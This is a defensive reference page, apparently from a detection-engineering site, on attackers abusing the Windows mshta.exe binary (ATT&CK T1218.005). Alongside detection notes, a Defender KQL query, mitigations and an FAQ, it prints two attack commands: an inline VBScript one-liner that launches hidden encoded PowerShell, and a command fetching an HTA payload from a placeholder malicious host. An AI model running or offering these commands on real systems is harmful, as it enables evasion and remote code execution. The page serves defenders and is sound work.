WindowsT1218.005

>mshta.exe

Microsoft HTML Application (MSHTA) host executes .hta files and scripts embedded inside web pages. Attackers abuse mshta to execute malicious inline VBScript or JScript directly from the command line or remote HTTP servers.

Default Executable Paths

C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe

Integrity & Metadata

Original Name: MSHTA.EXE
File Version: 11.0.19041.1
Category Count: 2 weaponized patterns
Forensics & Triage Insight

Mshta execution bypasses typical application whitelisting policies and AppLocker script rules. Pay attention to network connections initiated directly by mshta.exe.

Detection Engineering Notes

Alert on mshta.exe executing with "vbscript:", "javascript:", or remote HTTP(S) endpoints. Mshta should rarely spawn powershell.exe, cmd.exe, or rundll32.exe.

Executive Summary & AI Quick Reference

High-Fidelity Telemetry Profile

mshta.exe is a native utility pre-installed on Windows systems. Threat actors and red teams abuse mshta.exe as a Living-off-the-Land Binary (LOLBin) to achieve Execute without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.

Primary Abused Tactics
Execute
Minimum Privilege
User
Key Telemetry Source
Sysmon 1 / 4688
ATT&CK Mapping
T1218.005

Weaponized Parameters & Proof-of-Concepts

Documented attack commands, parameter flags, and privilege prerequisites.

2 documented methods
Filter Purpose:

Executes inline VBScript code via mshta to spawn a hidden PowerShell process and run memory-resident payloads.

mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))

Fetch and execute an HTML application payload directly over HTTP without saving the payload as a recognized executable file.

mshta.exe http://malicious.domain/payload.hta

SIEM & EDR Detection Rules

Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.

Telemetry & SIEM Detection Suite (mshta.exe)

Validated against MITRE T1218.005
mshta.exe Microsoft Defender Querykql
1DeviceProcessEvents
2| where FileName =~ "mshta.exe"
3| where ProcessCommandLine has_any ("vbscript:", "javascript:", "about:", "http://", "https://")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Mitigation, Hardening & Prevention

Recommended defensive controls to block or constrain mshta.exe abuse.

Application Whitelisting

Enforce Windows Defender Application Control (WDAC) or AppLocker publisher rules to prevent execution outside approved enterprise administration scripts.

Attack Surface Reduction

Enable ASR rules: Block executable content from email client and webmail and Block Office applications from creating child processes spawning mshta.exe.

Behavioral Alerting

Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.

Frequently Asked Questions (FAQ) • mshta.exe

Key operational questions and defensive answers about mshta.exe LOLBin tradecraft.

What is mshta.exe and why is it classified as a LOLBin?

mshta.exe is a legitimate, pre-installed or trusted utility on Windows. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Execute—without dropping custom malware binaries on disk.

How do threat actors abuse mshta.exe in cyber intrusions?

Adversaries leverage mshta.exe to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))" to achieve Execute, masquerading behind legitimate system process lineage.

How can SOC analysts detect suspicious mshta.exe activity?

Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning mshta.exe), and unexpected network connections.

What MITRE ATT&CK techniques does mshta.exe map to?

mshta.exe maps to MITRE ATT&CK technique(s): T1218.005. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.

How can organizations mitigate and restrict mshta.exe?

Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.

Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point